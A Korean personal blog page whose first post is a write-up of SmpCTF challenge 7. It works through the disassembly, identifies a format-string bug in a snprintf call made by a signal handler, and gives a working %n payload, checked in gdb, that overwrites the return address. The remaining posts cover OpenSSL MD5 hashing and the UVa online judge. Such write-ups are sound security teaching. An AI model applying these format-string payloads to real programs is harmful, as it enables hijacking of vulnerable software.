카테고리 없음2010. 7. 16. 22:34

SmpCTF challenge7 – writeup

문제가 끝나고 나서하는것이기 때문에, 문제 파일을 mycomputer에서 실행하고 있습니다.

redbit@redbit:~/smpCTF$ ./challenge7_bin 'hello world'

Fail

redbit@redbit:~/smpCTF$ ./challenge7_bin 'why?'

Fail

redbit@redbit:~/smpCTF$ ./challenge7_bin `python -c 'print "a"*99999'`

Fail

대충 해본결과 bof 계열의 문제는 아닌것으로 파악되었습니다.

0x0804850b <+0>: lea 0x4(%esp),%ecx

0x0804850f <+4>: and $0xfffffff0,%esp

0x08048512 <+7>: pushl -0x4(%ecx)

0x08048515 <+10>: push %ebp

0x08048516 <+11>: mov %esp,%ebp

0x08048518 <+13>: push %ecx

0x08048519 <+14>: sub $0x14,%esp

0x0804851c <+17>: mov %ecx,-0x18(%ebp)

0x0804851f <+20>: movl $0x0,-0x8(%ebp)

0x08048526 <+27>: sub $0x8,%esp

0x08048529 <+30>: push $0x80484c4

0x0804852e <+35>: push $0x4

0x08048530 <+37>: call 0x8048374 <signal@plt>

0x08048535 <+42>: add $0x10,%esp

0x08048538 <+45>: mov -0x18(%ebp),%eax

0x0804853b <+48>: cmpl $0x1,(%eax)

0x0804853e <+51>: jg 0x804855a <main+79>

0x08048540 <+53>: sub $0xc,%esp

0x08048543 <+56>: push $0x8048665

0x08048548 <+61>: call 0x80483d4 <puts@plt>

0x0804854d <+66>: add $0x10,%esp

0x08048550 <+69>: sub $0xc,%esp

0x08048553 <+72>: push $0x0

0x08048555 <+74>: call 0x80483f4 <exit@plt>

0x0804855a <+79>: mov -0x18(%ebp),%edx

0x0804855d <+82>: mov 0x4(%edx),%eax

0x08048560 <+85>: add $0x4,%eax

0x08048563 <+88>: mov (%eax),%eax

0x08048565 <+90>: sub $0x4,%esp

0x08048568 <+93>: push $0x3ff

0x0804856d <+98>: push %eax

0x0804856e <+99>: push $0x80497c0

0x08048573 <+104>: call 0x8048394 <strncpy@plt>

0x08048578 <+109>: add $0x10,%esp

0x0804857b <+112>: sub $0xc,%esp

0x0804857e <+115>: push $0x4

0x08048580 <+117>: call 0x80483c4 <raise@plt>

0x08048585 <+122>: add $0x10,%esp

0x08048588 <+125>: sub $0xc,%esp

0x0804858b <+128>: push $0x0

0x0804858d <+130>: call 0x80483f4 <exit@plt>

빨간 글씨의 내용을 보면 0x4signal을 등록하고 종료하기전에 signal을 발생시키는것을 볼 수있습니다.

또한 입력받은 문자열을 ( argv[1] ) 0x3ff 만큼 0x80497c0으로 복사하는것을 확인할 수 있습니다.

#define SIGHUP 1

#define SIGINT 2

#define SIGQUIT 3

#define SIGILL 4

#define SIGTRAP 5

#define SIGABRT 6

#define SIGIOT 6

#define SIGBUS 7

#define SIGFPE 8

signal.h

대충 signal의 종류를 보면 4번은 잘못된 명령일때 발생한다고 되어있는데, 여기서 별로 중요하지는않습니다. ( 왜냐하면 인위적으로 발생시키고 있기 때문에 )

어쨌든 signalhandler를 보게되면,

0x080484c4 <+0>: push %ebp

0x080484c5 <+1>: mov %esp,%ebp

0x080484c7 <+3>: sub $0x88,%esp

0x080484cd <+9>: sub $0xc,%esp

0x080484d0 <+12>: push $0x8048660

0x080484d5 <+17>: call 0x80483d4 <puts@plt>

0x080484da <+22>: add $0x10,%esp

0x080484dd <+25>: sub $0x4,%esp

0x080484e0 <+28>: push $0x80

0x080484e5 <+33>: push $0x0

0x080484e7 <+35>: lea -0x80(%ebp),%eax

0x080484ea <+38>: push %eax

0x080484eb <+39>: call 0x80483a4 <memset@plt>

0x080484f0 <+44>: add $0x10,%esp

0x080484f3 <+47>: sub $0x4,%esp

0x080484f6 <+50>: push $0x80497c0

0x080484fb <+55>: push $0x7f

0x080484fd <+57>: lea -0x80(%ebp),%eax

0x08048500 <+60>: push %eax

0x08048501 <+61>: call 0x80483e4 <snprintf@plt>

0x08048506 <+66>: add $0x10,%esp

0x08048509 <+69>: leave

0x0804850a <+70>: ret

위 코드에서 눈여겨 볼 점은 bof는 안통한다는 사실과, 버퍼의 크기체크를 열심히 하고 있기 때문에,

위에서 보았던 0x80497c0를 지역변수쪽으로 snprintf(..)한다는 사실이고, 이것을 보다 아주 쉽게

한다면, 아래와 같은것이다.

snprintf( stack_buf, 0x7f, argv[1] );


위와 같은 코드는 format string bug를 낳게되고 이것을 이용해 ret주소를 변경시킬 수 있다.


(gdb) r `python -c 'print "\x8c\xe6\xff\xbfAAAA\x8e\xe6\xff\xbf%x%x%62403d%n%52263d%n"'`

(gdb) disass

...

0x08048509 <+69>: leave

=> 0x0804850a <+70>: ret

End of assembler dump.

(gdb) x/x $esp

0xbfffe68c: 0xbffff3d8

그리고 위와 같이 ret 주소를 변경시킨것을 확인할 수 있다.

Clear!

Posted by redbit
SYSTEM/Programing2010. 6. 19. 19:11
우선 코드를 먼저..


위와 같이 사용되며, MD5 함수를 바로 호출해서 MD5해쉬 값을 구해 낼 수 있겠지만,
만일 크기가 1GB이거나 혹은 그보다 더큰, 아니면 크기가 작은 수십개의 파일들의 MD5 값을 구하기에는
MD5(...) 함수는 적당하지 않다.

그럴 경우에는 

MD5_CTX 라는 구조체를 사용하여, 작은 MD5 해쉬값을 만들어 나갈 수 있다.

실행 결과 ..



 빌드 환경
OS : Windows7 ( 6.1.7600 )
Compiler :                MSVC 2010
OpenSSL version :                        1.0.0a


Posted by redbit
SYSTEM/알고리듬2010. 5. 2. 11:55
http://uva.onlinejudge.org/ 이곳으로 가서 회원 가입을 하면된다.

e-mail이 가장 중요한 개인정보로 제공되어진다. e-mail로 계정활성화 url이 날아오니, 제대로된 e-mail을 적어줘야 계정을 활성화 시킬수 있다.


위 사이트에 나와있는데로 2686개의 문제가 등록되어 있으며, 약 8백만건의 해답이 제출되었다.


그리고 문제들을 확인해 볼수있고, 풀이에 성공한 사람의 비율을 볼 수 있다.
( 참고로 가입한 사람들이 풀었다는걸 기준으로 삼고, 비회원이 푼것을 기준으로 삼으면 안된다. )

또한 문제를 풀고나서 순위를 확인해 볼수 있는데 ( 은근히 재밌다 > < )
이 순위는 단순히 실행시간을 가지고 비교하게된다.


코드를 완성하고 약3시간정도 최적화를 시도해봤지만 5700등... 세계의 벽은 높기도하다...
실행시간이 0.002초 줄어나갈때마다 랭킹이 변화되는것을 보는건 또 다른 매력인것같다.

그렇게 기록을 확인하고 남기기 위해서는 회원가입을 필수로 해야하며,
문제를 완전히 풀어서 제출해야된다.


제출한 문제는 위와 같이 확인해볼수 있으며, 랭킹으로 인정되는것은 Accepted이다.
젤 처음 작성했을때가 0.612 이였다..

3시간동안 0.2초의 실행시간을 단축시켰다


그리고 이것이 정답을 제출하는란이고, 보다시피 지원하는 언어는 C, C++, JAVA, PASCAL 이다.
일반적으로 C가 가장빠르다고 볼때, C 이외의 언어로 랭킹 놀이는 노려보기 힘들듯하다.
혹시나 하는 생각이지만, 순위권 사람들은 말이 C언어로 작성했지, 알고보면 어셈일지도 모른다는 생각이 든다. - _-+;;

참고로 남이 작성한 코드는 볼 수없고, 다른곳에서 코드를 뺏기면 별로 재미도 없다.
직접구현해보고 랭킹을 올리는것이 진짜재미!

ps. 랭킹 좀더 올려볼려고 인터넷에서 코드 뒤져봤는데 나보다 빠른 코드는 없었다. ㄱ-

'SYSTEM > 알고리듬' 카테고리의 다른 글

요즘 알고리듬을 즐기는게 즐겁다.  (0) 2010.05.01
Posted by redbit